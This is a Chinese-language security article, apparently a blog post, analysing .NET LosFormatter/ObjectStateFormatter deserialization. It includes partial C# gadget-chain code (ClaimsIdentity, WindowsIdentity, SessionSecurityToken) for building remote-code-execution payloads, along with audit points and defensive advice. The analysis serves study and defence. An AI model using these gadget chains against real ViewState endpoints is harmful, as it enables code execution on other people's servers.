.net反序列化之LosFormatter
字数 1228 2025-08-05 08:17:36
.NET反序列化之LosFormatter深入解析
LosFormatter概述
LosFormatter (Limited Object Serialization Formatter) 是.NET框架中用于序列化视图状态(ViewState)的类,位于System.Web.dll中,命名空间为System.Web.UI。其主要特点包括:
- 主要用于Web窗体应用程序中序列化存储视图流状态
- 底层实际使用ObjectStateFormatter进行序列化/反序列化操作
- 序列化后的数据通常以Base64编码,以"/wEyt"开头
- 默认情况下不启用MAC(消息认证码)校验
基本使用示例
[Serializable]
class Person
{
public string Name { get; set; }
public int Age { get; set; }
public Person(string name, int age)
{
Name = name;
Age = age;
}
public void SayHello()
{
Console.WriteLine("hello");
}
}
// 序列化
LosFormatter losFormatter = new LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
losFormatter.Serialize(memory, new Person("jack", 15));
memory.Position = 0;
// 反序列化
Person p = (Person)losFormatter.Deserialize(memory);
p.SayHello();
// 查看序列化后的Base64数据
Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
}
反序列化安全风险
LosFormatter的反序列化操作存在严重安全风险:
- 底层最终调用ObjectStateFormatter进行反序列化
- ObjectStateFormatter会处理Base64编码数据并判断MAC校验
- 关键风险点:当遇到object类型字段时,会使用BinaryFormatter进行二次反序列化
攻击链分析
1. ClaimsIdentity攻击链
原理:
- ClaimsIdentity类中的
m_bootstrapContext字段是object类型 - 反序列化时会通过BinaryFormatter处理该字段内容
利用方式:
[Serializable]
public class My
{
public object o; // 可被利用的object类型字段
}
// 构造恶意对象
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal();
My my = new My();
my.o = payload;
// 序列化后反序列化触发RCE
losFormatter.Serialize(stream, my);
losFormatter.Deserialize(stream);
2. WindowsIdentity攻击链
WindowsIdentity继承自ClaimsIdentity,同样可利用:
[Serializable]
public class WindowsIdentityIdentityMarshal : ISerializable
{
private string B64Payload { get; }
public WindowsIdentityIdentityMarshal(string b64payload)
{
B64Payload = b64payload;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsIdentity));
info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
info.AddValue("System.Security.ClaimsIdentity.bootstrapContext", B64Payload);
info.AddValue("System.Security.ClaimsIdentity.claims", B64Payload);
}
}
3. SessionSecurityToken攻击链
利用点:
- SessionSecurityToken类的BootstrapToken处理
- 通过构造特定的XML结构触发BinaryFormatter反序列化
关键代码结构:
xmlDictionaryWriter.WriteStartElement("ClaimsPrincipal", "");
xmlDictionaryWriter.WriteStartElement("Identities", "");
xmlDictionaryWriter.WriteStartElement("Identity", "");
xmlDictionaryWriter.WriteStartElement("BootStrapToken", "");
xmlDictionaryWriter.WriteValue(B64Payload); // 恶意payload
xmlDictionaryWriter.WriteEndElement();
// ...其他必要元素...
漏洞审计要点
- 检查所有LosFormatter和ObjectStateFormatter的反序列化点
- 特别注意object类型的字段,可能引发二次反序列化
- 关注ClaimsIdentity、WindowsIdentity等类的使用
- 检查是否启用了MAC校验(无参构造函数默认不启用)
防御建议
- 避免反序列化不可信数据
- 使用LosFormatter时启用MAC校验
- 更新.NET框架至最新版本
- 实施严格的输入验证
- 考虑使用替代的序列化方案
技术深度解析
ObjectStateFormatter的内部处理机制:
-
序列化过程:
- 检查字段类型并写入对应的Token_xxx标记
- 基本类型直接存储
- 复杂类型或object类型使用BinaryFormatter序列化并添加Token_BinarySerialized标记
-
反序列化过程:
- 读取Token标记判断类型
- 遇到Token_BinarySerialized时直接调用BinaryFormatter反序列化
- 这正是二次反序列化漏洞的根源
// ObjectStateFormatter.DeserializeValue片段
case Token.BinarySerialized:
BinaryFormatter formatter = new BinaryFormatter();
return formatter.Deserialize(reader.BaseReader);
通过深入理解这些机制,可以更有效地发现和防御相关安全问题。